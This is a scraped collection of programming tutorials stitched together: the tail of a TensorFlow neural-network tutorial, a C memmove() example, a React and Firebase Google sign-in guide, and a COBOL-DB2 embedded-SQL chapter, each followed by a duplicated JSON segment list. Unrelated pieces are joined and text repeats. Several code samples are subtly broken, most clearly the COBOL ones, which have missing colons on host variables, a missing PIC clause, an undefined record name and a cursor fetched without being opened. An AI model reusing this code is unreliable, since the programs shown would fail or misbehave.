"Change the mid_range to 100 and see how the performance degrades. The reason is that now the sample space is too huge to imagine between 1 and 2, there are infinitely large numbers. So, 1–100 becomes too huge for a sample space. You can train for this as well. But you might need 100,000,00 samples and a large number of epochs. And maybe more. For this, you need powerful computing environments and much more time.Change the num_neurons and see how it performs. You can see as you decrease num_neurons, it tends to become more and more linear and starts losing its non-linearity. The reason being that non-linearity comes with reinforcement of a number of linearities (product of many linear functions).Change the batch size to observe how lower and higher batch size performs. Too low the batch size is, too much time it takes to train, moreover it gets saturated after some time and doesn’t train well. Too high the batch size, the more epochs it needs to converge. So, best is to keep an optimum value(the sweet spot)" }, { "code": null, "e": 10285, "s": 9869, "text": "Change the mid_range to 100 and see how the performance degrades. The reason is that now the sample space is too huge to imagine between 1 and 2, there are infinitely large numbers. So, 1–100 becomes too huge for a sample space. You can train for this as well. But you might need 100,000,00 samples and a large number of epochs. And maybe more. For this, you need powerful computing environments and much more time." }, { "code": null, "e": 10575, "s": 10285, "text": "Change the num_neurons and see how it performs. You can see as you decrease num_neurons, it tends to become more and more linear and starts losing its non-linearity. The reason being that non-linearity comes with reinforcement of a number of linearities (product of many linear functions)." }, { "code": null, "e": 10893, "s": 10575, "text": "Change the batch size to observe how lower and higher batch size performs. Too low the batch size is, too much time it takes to train, moreover it gets saturated after some time and doesn’t train well. Too high the batch size, the more epochs it needs to converge. So, best is to keep an optimum value(the sweet spot)" }, { "code": null, "e": 11198, "s": 10893, "text": "Note: This code I have shown you is based on tensorflow==1.X and fails if instead of using Keras, I use tensorflow==2.0 and use tf.keras. I have raised the issue for this on GitHub. I will update here when it gets resolved. In Jupyter notebook, it works since it still uses the 1.X version of TensorFlow." } ]
memmove() function in C/C++
The function memmove() is used to move the whole memory block from one position to another. One is source and another is destination pointed by the pointer. This is declared in “string.h” header file in C language. Here is the syntax of memmove() in C language, void *memmove(void *dest_str, const void *src_str, size_t number) Here, dest_str − Pointer to the destination array. src_str − Pointer to the source array. number − The number of bytes to be copied from source to destination. Here is an example of memmove() in C language, Live Demo #include <stdio.h> #include <string.h> int main () { char a[] = "Firststring"; const char b[] = "Secondstring"; memmove(a, b, 9); printf("New arrays : %s\t%s", a, b); return 0; } New arrays : SecondstrngSecondstring In the above program, two char type arrays are initialized and memmove() function is copying the source string ‘b’ to the destination string ‘a’. char a[] = "Firststring"; const char b[] = "Secondstring"; memmove(a, b, 9);
[ { "code": null, "e": 1277, "s": 1062, "text": "The function memmove() is used to move the whole memory block from one position to another. One is source and another is destination pointed by the pointer. This is declared in “string.h” header file in C language." }, { "code": null, "e": 1324, "s": 1277, "text": "Here is the syntax of memmove() in C language," }, { "code": null, "e": 1390, "s": 1324, "text": "void *memmove(void *dest_str, const void *src_str, size_t number)" }, { "code": null, "e": 1396, "s": 1390, "text": "Here," }, { "code": null, "e": 1441, "s": 1396, "text": "dest_str − Pointer to the destination array." }, { "code": null, "e": 1480, "s": 1441, "text": "src_str − Pointer to the source array." }, { "code": null, "e": 1550, "s": 1480, "text": "number − The number of bytes to be copied from source to destination." }, { "code": null, "e": 1597, "s": 1550, "text": "Here is an example of memmove() in C language," }, { "code": null, "e": 1608, "s": 1597, "text": " Live Demo" }, { "code": null, "e": 1802, "s": 1608, "text": "#include <stdio.h>\n#include <string.h>\nint main () {\n char a[] = \"Firststring\";\n const char b[] = \"Secondstring\";\n memmove(a, b, 9);\n printf(\"New arrays : %s\\t%s\", a, b);\n return 0;\n}" }, { "code": null, "e": 1839, "s": 1802, "text": "New arrays : SecondstrngSecondstring" }, { "code": null, "e": 1985, "s": 1839, "text": "In the above program, two char type arrays are initialized and memmove() function is copying the source string ‘b’ to the destination string ‘a’." }, { "code": null, "e": 2062, "s": 1985, "text": "char a[] = \"Firststring\";\nconst char b[] = \"Secondstring\";\nmemmove(a, b, 9);" } ]
How to authenticate with google using firebase in React ? - GeeksforGeeks
01 Apr, 2021 The following approach covers how to authenticate with Google using firebase in react. We have used firebase module to achieve so. Creating React Application And Installing Module: Step 1: Create a React myapp using the following command: npx create-react-app myapp Step 2: After creating your project folder i.e. myapp, move to it using the following command: cd myapp Project structure: Our project structure will look like this. Step 3: After creating the ReactJS application, Install the firebase module using the following command: npm install [email protected] --save Step 4: Go to your firebase dashboard and create a new project and copy your credentials. const firebaseConfig = { apiKey: "your api key", authDomain: "your credentials", projectId: "your credentials", storageBucket: "your credentials", messagingSenderId: "your credentials", appId: "your credentials" }; Step 5: Initialize the Firebase into your project by creating Firebase.js file with the following code. Firebase.js import firebase from 'firebase'; const firebaseConfig = { // Your credentials}; firebase.initializeApp(firebaseConfig);var auth = firebase.auth();var provider = new firebase.auth.GoogleAuthProvider(); export {auth , provider}; Step 6: Go to your firebase dashboard and Enable the google sign-in method as shown below. Step 7: Now install the npm package i.e. react-firebase-hooks using the following command. npm i react-firebase-hooks This package helps us to listen to the current state of the user. Step 8: Create two files i.e. login.js and main.js with the following code. login.js import React from 'react';import {auth , provider} from './firebase.js'; const Login = () => { // Sign in with google const signin = () => { auth.signInWithPopup(provider).catch(alert); } return ( <div> <center> <button style={{"marginTop" : "200px"}} onClick={signin}>Sign In with Google</button> </center> </div> );} export default Login; Main.js import React from 'react';import {auth} from './firebase'; const Mainpage = () => { // Signout function const logout = () => { auth.signOut(); } return ( <div> Welcome { auth.currentUser.email } <button style={{"marginLeft" : "20px"}} onClick={logout}> Logout </button> </div> );} export default Mainpage; Step 8: Finally Import all required files in App.js file as shown below. App.js Javascript import React from 'react';import {auth} from './firebase';import {useAuthState} from 'react-firebase-hooks/auth';import Login from './login';import Mainpage from './main'; function App() { const [user] = useAuthState(auth); return ( user ? <Mainpage/> : <Login/> );} export default App; Step to Run Application: Run the application using the following command from the root directory of the project: npm start Output: Now open your browser and go to http://localhost:3000/, you will see the following output: Firebase ReactJS Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments How to set background images in ReactJS ? How to create a table in ReactJS ? How to navigate on path by button click in react router ? How to create a multi-page website using React.js ? How to build a basic CRUD app with Node.js and ReactJS ? Top 10 Front End Developer Skills That You Need in 2022 Installation of Node.js on Linux Top 10 Projects For Beginners To Practice HTML and CSS Skills How to insert spaces/tabs in text using HTML/CSS? Difference between var, let and const keywords in JavaScript
[ { "code": null, "e": 24423, "s": 24395, "text": "\n01 Apr, 2021" }, { "code": null, "e": 24554, "s": 24423, "text": "The following approach covers how to authenticate with Google using firebase in react. We have used firebase module to achieve so." }, { "code": null, "e": 24604, "s": 24554, "text": "Creating React Application And Installing Module:" }, { "code": null, "e": 24662, "s": 24604, "text": "Step 1: Create a React myapp using the following command:" }, { "code": null, "e": 24689, "s": 24662, "text": "npx create-react-app myapp" }, { "code": null, "e": 24784, "s": 24689, "text": "Step 2: After creating your project folder i.e. myapp, move to it using the following command:" }, { "code": null, "e": 24793, "s": 24784, "text": "cd myapp" }, { "code": null, "e": 24855, "s": 24793, "text": "Project structure: Our project structure will look like this." }, { "code": null, "e": 24960, "s": 24855, "text": "Step 3: After creating the ReactJS application, Install the firebase module using the following command:" }, { "code": null, "e": 24994, "s": 24960, "text": "npm install [email protected] --save" }, { "code": null, "e": 25084, "s": 24994, "text": "Step 4: Go to your firebase dashboard and create a new project and copy your credentials." }, { "code": null, "e": 25335, "s": 25084, "text": "const firebaseConfig = {\n apiKey: \"your api key\",\n authDomain: \"your credentials\",\n projectId: \"your credentials\",\n storageBucket: \"your credentials\",\n messagingSenderId: \"your credentials\",\n appId: \"your credentials\"\n};" }, { "code": null, "e": 25439, "s": 25335, "text": "Step 5: Initialize the Firebase into your project by creating Firebase.js file with the following code." }, { "code": null, "e": 25451, "s": 25439, "text": "Firebase.js" }, { "code": "import firebase from 'firebase'; const firebaseConfig = { // Your credentials}; firebase.initializeApp(firebaseConfig);var auth = firebase.auth();var provider = new firebase.auth.GoogleAuthProvider(); export {auth , provider};", "e": 25683, "s": 25451, "text": null }, { "code": null, "e": 25775, "s": 25683, "text": "Step 6: Go to your firebase dashboard and Enable the google sign-in method as shown below. " }, { "code": null, "e": 25866, "s": 25775, "text": "Step 7: Now install the npm package i.e. react-firebase-hooks using the following command." }, { "code": null, "e": 25893, "s": 25866, "text": "npm i react-firebase-hooks" }, { "code": null, "e": 25959, "s": 25893, "text": "This package helps us to listen to the current state of the user." }, { "code": null, "e": 26035, "s": 25959, "text": "Step 8: Create two files i.e. login.js and main.js with the following code." }, { "code": null, "e": 26044, "s": 26035, "text": "login.js" }, { "code": "import React from 'react';import {auth , provider} from './firebase.js'; const Login = () => { // Sign in with google const signin = () => { auth.signInWithPopup(provider).catch(alert); } return ( <div> <center> <button style={{\"marginTop\" : \"200px\"}} onClick={signin}>Sign In with Google</button> </center> </div> );} export default Login;", "e": 26485, "s": 26044, "text": null }, { "code": null, "e": 26493, "s": 26485, "text": "Main.js" }, { "code": "import React from 'react';import {auth} from './firebase'; const Mainpage = () => { // Signout function const logout = () => { auth.signOut(); } return ( <div> Welcome { auth.currentUser.email } <button style={{\"marginLeft\" : \"20px\"}} onClick={logout}> Logout </button> </div> );} export default Mainpage;", "e": 26957, "s": 26493, "text": null }, { "code": null, "e": 27030, "s": 26957, "text": "Step 8: Finally Import all required files in App.js file as shown below." }, { "code": null, "e": 27037, "s": 27030, "text": "App.js" }, { "code": null, "e": 27048, "s": 27037, "text": "Javascript" }, { "code": "import React from 'react';import {auth} from './firebase';import {useAuthState} from 'react-firebase-hooks/auth';import Login from './login';import Mainpage from './main'; function App() { const [user] = useAuthState(auth); return ( user ? <Mainpage/> : <Login/> );} export default App;", "e": 27343, "s": 27048, "text": null }, { "code": null, "e": 27456, "s": 27343, "text": "Step to Run Application: Run the application using the following command from the root directory of the project:" }, { "code": null, "e": 27466, "s": 27456, "text": "npm start" }, { "code": null, "e": 27565, "s": 27466, "text": "Output: Now open your browser and go to http://localhost:3000/, you will see the following output:" }, { "code": null, "e": 27574, "s": 27565, "text": "Firebase" }, { "code": null, "e": 27582, "s": 27574, "text": "ReactJS" }, { "code": null, "e": 27599, "s": 27582, "text": "Web Technologies" }, { "code": null, "e": 27697, "s": 27599, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27706, "s": 27697, "text": "Comments" }, { "code": null, "e": 27719, "s": 27706, "text": "Old Comments" }, { "code": null, "e": 27761, "s": 27719, "text": "How to set background images in ReactJS ?" }, { "code": null, "e": 27796, "s": 27761, "text": "How to create a table in ReactJS ?" }, { "code": null, "e": 27854, "s": 27796, "text": "How to navigate on path by button click in react router ?" }, { "code": null, "e": 27906, "s": 27854, "text": "How to create a multi-page website using React.js ?" }, { "code": null, "e": 27963, "s": 27906, "text": "How to build a basic CRUD app with Node.js and ReactJS ?" }, { "code": null, "e": 28019, "s": 27963, "text": "Top 10 Front End Developer Skills That You Need in 2022" }, { "code": null, "e": 28052, "s": 28019, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 28114, "s": 28052, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 28164, "s": 28114, "text": "How to insert spaces/tabs in text using HTML/CSS?" } ]
COBOL - Database Interface
As of now, we have learnt the use of files in COBOL. Now, we will discuss how a COBOL program interacts with DB2. It involves the following terms − Embedded SQL DB2 Application Programming Host Variables SQLCA SQL Queries Cursors Embedded SQL statements are used in COBOL programs to perform standard SQL operations. Embedded SQL statements are preprocessed by the SQL processor before the application program is compiled. COBOL is known as the Host Language. COBOL-DB2 applications are those applications that include both COBOL and DB2. Embedded SQL statements work like normal SQL statements with some minor changes. For example, the output of a query is directed to a predefined set of variables which are referred as Host Variables. An additional INTO clause is placed in the SELECT statement. Following are rules to be followed while coding a COBOL-DB2 program − All the SQL statements must be delimited between EXEC SQL and ENDEXEC.. All the SQL statements must be delimited between EXEC SQL and ENDEXEC.. SQL statements must be coded in Area B. SQL statements must be coded in Area B. All the tables that are used in a program must be declared in the WorkingStorage Section. This is done by using the INCLUDE statement. All the tables that are used in a program must be declared in the WorkingStorage Section. This is done by using the INCLUDE statement. All SQL statements other than INCLUDE and DECLARE TABLE must appear in the Procedure Division. All SQL statements other than INCLUDE and DECLARE TABLE must appear in the Procedure Division. Host variables are used for receiving data from a table or inserting data in a table. Host variables must be declared for all values that are to be passed between the program and the DB2. They are declared in the Working-Storage Section. Host variables cannot be group items, but they may be grouped together in host structure. They cannot be Renamed or Redefined. Using host variables with SQL statements, prefix them with a colon (:).. Following is the syntax to declare host variables and include tables in the Working-Storage section − DATA DIVISION. WORKING-STORAGE SECTION. EXEC SQL INCLUDE table-name END-EXEC. EXEC SQL BEGIN DECLARE SECTION END-EXEC. 01 STUDENT-REC. 05 STUDENT-ID PIC 9(4). 05 STUDENT-NAME PIC X(25). 05 STUDENT-ADDRESS X(50). EXEC SQL END DECLARE SECTION END-EXEC. SQLCA is a SQL communication area through which DB2 passes the feedback of SQL execution to the program. It tells the program whether an execution was successful or not. There are a number of predefined variables under SQLCA like SQLCODE which contains the error code. The value '000' in SQLCODE states a successful execution. Following is the syntax to declare an SQLCA in the Working-Storage section − DATA DIVISION. WORKING-STORAGE SECTION. EXEC SQL INCLUDE SQLCA END-EXEC. Let’s assume we have one table named as 'Student' that contains Student-Id, Student-Name, and Student-Address. The STUDENT table contains the following data − Student Id Student Name Student Address 1001 Mohtashim M. Hyderabad 1002 Nishant Malik Delhi 1003 Amitabh Bachan Mumbai 1004 Chulbul Pandey Lucknow The following example shows the usage of SELECT query in a COBOL program − IDENTIFICATION DIVISION. PROGRAM-ID. HELLO. DATA DIVISION. WORKING-STORAGE SECTION. EXEC SQL INCLUDE SQLCA END-EXEC. EXEC SQL INCLUDE STUDENT END-EXEC. EXEC SQL BEGIN DECLARE SECTION END-EXEC. 01 WS-STUDENT-REC. 05 WS-STUDENT-ID PIC 9(4). 05 WS-STUDENT-NAME PIC X(25). 05 WS-STUDENT-ADDRESS X(50). EXEC SQL END DECLARE SECTION END-EXEC. PROCEDURE DIVISION. EXEC SQL SELECT STUDENT-ID, STUDENT-NAME, STUDENT-ADDRESS INTO :WS-STUDENT-ID, :WS-STUDENT-NAME, WS-STUDENT-ADDRESS FROM STUDENT WHERE STUDENT-ID=1004 END-EXEC. IF SQLCODE = 0 DISPLAY WS-STUDENT-RECORD ELSE DISPLAY 'Error' END-IF. STOP RUN. JCL to execute the above COBOL program − //SAMPLE JOB(TESTJCL,XXXXXX),CLASS = A,MSGCLASS = C //STEP001 EXEC PGM = IKJEFT01 //STEPLIB DD DSN = MYDATA.URMI.DBRMLIB,DISP = SHR //SYSPRINT DD SYSOUT=* //SYSUDUMP DD SYSOUT=* //SYSOUT DD SYSOUT=* //SYSTSIN DD * DSN SYSTEM(SSID) RUN PROGRAM(HELLO) PLAN(PLANNAME) - END /* When you compile and execute the above program, it produces the following result − 1004 Chulbul Pandey Lucknow The following example shows the usage of INSERT query in a COBOL program − IDENTIFICATION DIVISION. PROGRAM-ID. HELLO. DATA DIVISION. WORKING-STORAGE SECTION. EXEC SQL INCLUDE SQLCA END-EXEC. EXEC SQL INCLUDE STUDENT END-EXEC. EXEC SQL BEGIN DECLARE SECTION END-EXEC. 01 WS-STUDENT-REC. 05 WS-STUDENT-ID PIC 9(4). 05 WS-STUDENT-NAME PIC X(25). 05 WS-STUDENT-ADDRESS X(50). EXEC SQL END DECLARE SECTION END-EXEC. PROCEDURE DIVISION. MOVE 1005 TO WS-STUDENT-ID. MOVE 'TutorialsPoint' TO WS-STUDENT-NAME. MOVE 'Hyderabad' TO WS-STUDENT-ADDRESS. EXEC SQL INSERT INTO STUDENT(STUDENT-ID, STUDENT-NAME, STUDENT-ADDRESS) VALUES (:WS-STUDENT-ID, :WS-STUDENT-NAME, WS-STUDENT-ADDRESS) END-EXEC. IF SQLCODE = 0 DISPLAY 'Record Inserted Successfully' DISPLAY WS-STUDENT-REC ELSE DISPLAY 'Error' END-IF. STOP RUN. JCL to execute the above COBOL program − //SAMPLE JOB(TESTJCL,XXXXXX),CLASS = A,MSGCLASS = C //STEP001 EXEC PGM = IKJEFT01 //STEPLIB DD DSN = MYDATA.URMI.DBRMLIB,DISP=SHR //SYSPRINT DD SYSOUT = * //SYSUDUMP DD SYSOUT = * //SYSOUT DD SYSOUT = * //SYSTSIN DD * DSN SYSTEM(SSID) RUN PROGRAM(HELLO) PLAN(PLANNAME) - END /* When you compile and execute the above program, it produces the following result − Record Inserted Successfully 1005 TutorialsPoint Hyderabad The following example shows the usage of UPDATE query in a COBOL program − IDENTIFICATION DIVISION. PROGRAM-ID. HELLO. DATA DIVISION. WORKING-STORAGE SECTION. EXEC SQL INCLUDE SQLCA END-EXEC. EXEC SQL INCLUDE STUDENT END-EXEC. EXEC SQL BEGIN DECLARE SECTION END-EXEC. 01 WS-STUDENT-REC. 05 WS-STUDENT-ID PIC 9(4). 05 WS-STUDENT-NAME PIC X(25). 05 WS-STUDENT-ADDRESS X(50). EXEC SQL END DECLARE SECTION END-EXEC. PROCEDURE DIVISION. MOVE 'Bangalore' TO WS-STUDENT-ADDRESS. EXEC SQL UPDATE STUDENT SET STUDENT-ADDRESS=:WS-STUDENT-ADDRESS WHERE STUDENT-ID = 1003 END-EXEC. IF SQLCODE = 0 DISPLAY 'Record Updated Successfully' ELSE DISPLAY 'Error' END-IF. STOP RUN. JCL to execute the above COBOL program − //SAMPLE JOB(TESTJCL,XXXXXX),CLASS = A,MSGCLASS = C //STEP001 EXEC PGM = IKJEFT01 //STEPLIB DD DSN = MYDATA.URMI.DBRMLIB,DISP = SHR //SYSPRINT DD SYSOUT = * //SYSUDUMP DD SYSOUT = * //SYSOUT DD SYSOUT = * //SYSTSIN DD * DSN SYSTEM(SSID) RUN PROGRAM(HELLO) PLAN(PLANNAME) - END /* When you compile and execute the above program, it produces the following result − Record Updated Successfully The following example shows the usage of DELETE query in a COBOL program − IDENTIFICATION DIVISION. PROGRAM-ID. HELLO. DATA DIVISION. WORKING-STORAGE SECTION. EXEC SQL INCLUDE SQLCA END-EXEC. EXEC SQL INCLUDE STUDENT END-EXEC. EXEC SQL BEGIN DECLARE SECTION END-EXEC. 01 WS-STUDENT-REC. 05 WS-STUDENT-ID PIC 9(4). 05 WS-STUDENT-NAME PIC X(25). 05 WS-STUDENT-ADDRESS X(50). EXEC SQL END DECLARE SECTION END-EXEC. PROCEDURE DIVISION. MOVE 1005 TO WS-STUDENT-ID. EXEC SQL DELETE FROM STUDENT WHERE STUDENT-ID=:WS-STUDENT-ID END-EXEC. IF SQLCODE = 0 DISPLAY 'Record Deleted Successfully' ELSE DISPLAY 'Error' END-IF. STOP RUN. JCL to execute the above COBOL program − //SAMPLE JOB(TESTJCL,XXXXXX),CLASS = A,MSGCLASS = C //STEP001 EXEC PGM = IKJEFT01 //STEPLIB DD DSN = MYDATA.URMI.DBRMLIB,DISP=SHR //SYSPRINT DD SYSOUT = * //SYSUDUMP DD SYSOUT = * //SYSOUT DD SYSOUT = * //SYSTSIN DD * DSN SYSTEM(SSID) RUN PROGRAM(HELLO) PLAN(PLANNAME) - END /* When you compile and execute the above program, it produces the following result − Record Deleted Successfully Cursors are used to handle multiple row selections at a time. They are data structures that hold all the results of a query. They can be defined in the Working-Storage Section or the Procedure Division. Following are the operations associated with Cursor − Declare Open Close Fetch Cursor declaration can be done in the Working-Storage Section or the Procedure Division. The first statement is the DECLARE statement which is a nonexecutable statement. EXEC SQL DECLARE STUDCUR CURSOR FOR SELECT STUDENT-ID, STUDENT-NAME, STUDENT-ADDRESS FROM STUDENT WHERE STUDENT-ID >:WS-STUDENT-ID END-EXEC. Before using a cursor, Open statement must be performed. The Open statement prepares the SELECT for execution. EXEC SQL OPEN STUDCUR END-EXEC. Close statement releases all the memory occupied by the cursor. It is mandatory to close a cursor before ending a program. EXEC SQL CLOSE STUDCUR END-EXEC. Fetch statement identifies the cursor and puts the value in the INTO clause. A Fetch statement is coded in loop as we get one row at a time. EXEC SQL FETCH STUDCUR INTO :WS-STUDENT-ID, :WS-STUDENT-NAME, WS-STUDENT-ADDRESS END-EXEC. The following example shows the usage of cursor to fetch all the records from the STUDENT table − IDENTIFICATION DIVISION. PROGRAM-ID. HELLO. DATA DIVISION. WORKING-STORAGE SECTION. EXEC SQL INCLUDE SQLCA END-EXEC. EXEC SQL INCLUDE STUDENT END-EXEC. EXEC SQL BEGIN DECLARE SECTION END-EXEC. 01 WS-STUDENT-REC. 05 WS-STUDENT-ID PIC 9(4). 05 WS-STUDENT-NAME PIC X(25). 05 WS-STUDENT-ADDRESS X(50). EXEC SQL END DECLARE SECTION END-EXEC. EXEC SQL DECLARE STUDCUR CURSOR FOR SELECT STUDENT-ID, STUDENT-NAME, STUDENT-ADDRESS FROM STUDENT WHERE STUDENT-ID >:WS-STUDENT-ID END-EXEC. PROCEDURE DIVISION. MOVE 1001 TO WS-STUDENT-ID. PERFORM UNTIL SQLCODE = 100 EXEC SQL FETCH STUDCUR INTO :WS-STUDENT-ID, :WS-STUDENT-NAME, WS-STUDENT-ADDRESS END-EXEC DISPLAY WS-STUDENT-REC END-PERFORM STOP RUN. JCL to execute the above COBOL program − //SAMPLE JOB(TESTJCL,XXXXXX),CLASS = A,MSGCLASS = C //STEP001 EXEC PGM=IKJEFT01 //STEPLIB DD DSN=MYDATA.URMI.DBRMLIB,DISP=SHR //SYSPRINT DD SYSOUT=* //SYSUDUMP DD SYSOUT=* //SYSOUT DD SYSOUT=* //SYSTSIN DD * DSN SYSTEM(SSID) RUN PROGRAM(HELLO) PLAN(PLANNAME) - END /* When you compile and execute the above program, it produces the following result − 1001 Mohtashim M. Hyderabad 1002 Nishant Malik Delhi 1003 Amitabh Bachan Mumbai 1004 Chulbul Pandey Lucknow 12 Lectures 2.5 hours Nishant Malik 33 Lectures 3.5 hours Craig Kenneth Kaercher Print Add Notes Bookmark this page
[ { "code": null, "e": 2170, "s": 2022, "text": "As of now, we have learnt the use of files in COBOL. Now, we will discuss how a COBOL program interacts with DB2. It involves the following terms −" }, { "code": null, "e": 2183, "s": 2170, "text": "Embedded SQL" }, { "code": null, "e": 2211, "s": 2183, "text": "DB2 Application Programming" }, { "code": null, "e": 2226, "s": 2211, "text": "Host Variables" }, { "code": null, "e": 2232, "s": 2226, "text": "SQLCA" }, { "code": null, "e": 2244, "s": 2232, "text": "SQL Queries" }, { "code": null, "e": 2252, "s": 2244, "text": "Cursors" }, { "code": null, "e": 2561, "s": 2252, "text": "Embedded SQL statements are used in COBOL programs to perform standard SQL operations. Embedded SQL statements are preprocessed by the SQL processor before the application program is compiled. COBOL is known as the Host Language. COBOL-DB2 applications are those applications that include both COBOL and DB2." }, { "code": null, "e": 2821, "s": 2561, "text": "Embedded SQL statements work like normal SQL statements with some minor changes. For example, the output of a query is directed to a predefined set of variables which are referred as Host Variables. An additional INTO clause is placed in the SELECT statement." }, { "code": null, "e": 2891, "s": 2821, "text": "Following are rules to be followed while coding a COBOL-DB2 program −" }, { "code": null, "e": 2963, "s": 2891, "text": "All the SQL statements must be delimited between EXEC SQL and ENDEXEC.." }, { "code": null, "e": 3035, "s": 2963, "text": "All the SQL statements must be delimited between EXEC SQL and ENDEXEC.." }, { "code": null, "e": 3075, "s": 3035, "text": "SQL statements must be coded in Area B." }, { "code": null, "e": 3115, "s": 3075, "text": "SQL statements must be coded in Area B." }, { "code": null, "e": 3250, "s": 3115, "text": "All the tables that are used in a program must be declared in the WorkingStorage Section. This is done by using the INCLUDE statement." }, { "code": null, "e": 3385, "s": 3250, "text": "All the tables that are used in a program must be declared in the WorkingStorage Section. This is done by using the INCLUDE statement." }, { "code": null, "e": 3480, "s": 3385, "text": "All SQL statements other than INCLUDE and DECLARE TABLE must appear in the Procedure Division." }, { "code": null, "e": 3575, "s": 3480, "text": "All SQL statements other than INCLUDE and DECLARE TABLE must appear in the Procedure Division." }, { "code": null, "e": 3813, "s": 3575, "text": "Host variables are used for receiving data from a table or inserting data in a table. Host variables must be declared for all values that are to be passed between the program and the DB2. They are declared in the Working-Storage Section." }, { "code": null, "e": 4013, "s": 3813, "text": "Host variables cannot be group items, but they may be grouped together in host structure. They cannot be Renamed or Redefined. Using host variables with SQL statements, prefix them with a colon (:).." }, { "code": null, "e": 4115, "s": 4013, "text": "Following is the syntax to declare host variables and include tables in the Working-Storage section −" }, { "code": null, "e": 4420, "s": 4115, "text": "DATA DIVISION.\n WORKING-STORAGE SECTION.\n \n EXEC SQL\n INCLUDE table-name\n END-EXEC.\n\n EXEC SQL BEGIN DECLARE SECTION\n END-EXEC.\n \n 01 STUDENT-REC.\n 05 STUDENT-ID PIC 9(4).\n 05 STUDENT-NAME PIC X(25).\n 05 STUDENT-ADDRESS X(50).\n EXEC SQL END DECLARE SECTION\n END-EXEC." }, { "code": null, "e": 4747, "s": 4420, "text": "SQLCA is a SQL communication area through which DB2 passes the feedback of SQL execution to the program. It tells the program whether an execution was successful or not. There are a number of predefined variables under SQLCA like SQLCODE which contains the error code. The value '000' in SQLCODE states a successful execution." }, { "code": null, "e": 4824, "s": 4747, "text": "Following is the syntax to declare an SQLCA in the Working-Storage section −" }, { "code": null, "e": 4901, "s": 4824, "text": "DATA DIVISION.\nWORKING-STORAGE SECTION.\n\tEXEC SQL\n\tINCLUDE SQLCA\n\tEND-EXEC.\n" }, { "code": null, "e": 5012, "s": 4901, "text": "Let’s assume we have one table named as 'Student' that contains Student-Id, Student-Name, and Student-Address." }, { "code": null, "e": 5060, "s": 5012, "text": "The STUDENT table contains the following data −" }, { "code": null, "e": 5237, "s": 5060, "text": "Student Id\t\tStudent Name\t\tStudent Address\n1001 \t\t\t Mohtashim M.\t\tHyderabad\n1002\t\t\t Nishant Malik\t\tDelhi\n1003 \t\t\t Amitabh Bachan\t\tMumbai\n1004\t\t\t Chulbul Pandey\t\tLucknow\n" }, { "code": null, "e": 5312, "s": 5237, "text": "The following example shows the usage of SELECT query in a COBOL program −" }, { "code": null, "e": 6036, "s": 5312, "text": "IDENTIFICATION DIVISION.\nPROGRAM-ID. HELLO.\n\nDATA DIVISION.\n WORKING-STORAGE SECTION.\n EXEC SQL\n INCLUDE SQLCA\n END-EXEC.\n \n EXEC SQL\n INCLUDE STUDENT\n END-EXEC.\n \n EXEC SQL BEGIN DECLARE SECTION\n END-EXEC.\n 01 WS-STUDENT-REC.\n 05 WS-STUDENT-ID PIC 9(4).\n 05 WS-STUDENT-NAME PIC X(25).\n 05 WS-STUDENT-ADDRESS X(50).\n EXEC SQL END DECLARE SECTION\n END-EXEC.\n\nPROCEDURE DIVISION.\n EXEC SQL\n SELECT STUDENT-ID, STUDENT-NAME, STUDENT-ADDRESS\n INTO :WS-STUDENT-ID, :WS-STUDENT-NAME, WS-STUDENT-ADDRESS FROM STUDENT\n WHERE STUDENT-ID=1004\n END-EXEC.\n \n IF SQLCODE = 0 \n DISPLAY WS-STUDENT-RECORD\n ELSE DISPLAY 'Error'\n END-IF.\nSTOP RUN." }, { "code": null, "e": 6077, "s": 6036, "text": "JCL to execute the above COBOL program −" }, { "code": null, "e": 6365, "s": 6077, "text": "//SAMPLE JOB(TESTJCL,XXXXXX),CLASS = A,MSGCLASS = C\n//STEP001 EXEC PGM = IKJEFT01\n//STEPLIB DD DSN = MYDATA.URMI.DBRMLIB,DISP = SHR\n//SYSPRINT DD SYSOUT=*\n//SYSUDUMP DD SYSOUT=*\n//SYSOUT DD SYSOUT=*\n//SYSTSIN DD *\n DSN SYSTEM(SSID)\n RUN PROGRAM(HELLO) PLAN(PLANNAME) -\n END\n/*" }, { "code": null, "e": 6448, "s": 6365, "text": "When you compile and execute the above program, it produces the following result −" }, { "code": null, "e": 6478, "s": 6448, "text": "1004 Chulbul Pandey\t\tLucknow\n" }, { "code": null, "e": 6553, "s": 6478, "text": "The following example shows the usage of INSERT query in a COBOL program −" }, { "code": null, "e": 7413, "s": 6553, "text": "IDENTIFICATION DIVISION.\nPROGRAM-ID. HELLO.\n\nDATA DIVISION.\n WORKING-STORAGE SECTION.\n EXEC SQL\n INCLUDE SQLCA\n END-EXEC.\n \n EXEC SQL\n INCLUDE STUDENT\n END-EXEC.\n \n EXEC SQL BEGIN DECLARE SECTION\n END-EXEC.\n 01 WS-STUDENT-REC.\n 05 WS-STUDENT-ID PIC 9(4).\n 05 WS-STUDENT-NAME PIC X(25).\n 05 WS-STUDENT-ADDRESS X(50).\n EXEC SQL END DECLARE SECTION\n END-EXEC.\n\nPROCEDURE DIVISION.\n MOVE 1005 TO WS-STUDENT-ID.\n MOVE 'TutorialsPoint' TO WS-STUDENT-NAME.\n MOVE 'Hyderabad' TO WS-STUDENT-ADDRESS.\n \n EXEC SQL\n INSERT INTO STUDENT(STUDENT-ID, STUDENT-NAME, STUDENT-ADDRESS)\n VALUES (:WS-STUDENT-ID, :WS-STUDENT-NAME, WS-STUDENT-ADDRESS)\n END-EXEC.\n \n IF SQLCODE = 0 \n DISPLAY 'Record Inserted Successfully'\n DISPLAY WS-STUDENT-REC\n ELSE DISPLAY 'Error'\n END-IF.\nSTOP RUN." }, { "code": null, "e": 7454, "s": 7413, "text": "JCL to execute the above COBOL program −" }, { "code": null, "e": 7746, "s": 7454, "text": "//SAMPLE JOB(TESTJCL,XXXXXX),CLASS = A,MSGCLASS = C\n//STEP001 EXEC PGM = IKJEFT01\n//STEPLIB DD DSN = MYDATA.URMI.DBRMLIB,DISP=SHR\n//SYSPRINT DD SYSOUT = *\n//SYSUDUMP DD SYSOUT = *\n//SYSOUT DD SYSOUT = *\n//SYSTSIN DD *\n DSN SYSTEM(SSID)\n RUN PROGRAM(HELLO) PLAN(PLANNAME) -\n END\n/*" }, { "code": null, "e": 7829, "s": 7746, "text": "When you compile and execute the above program, it produces the following result −" }, { "code": null, "e": 7890, "s": 7829, "text": 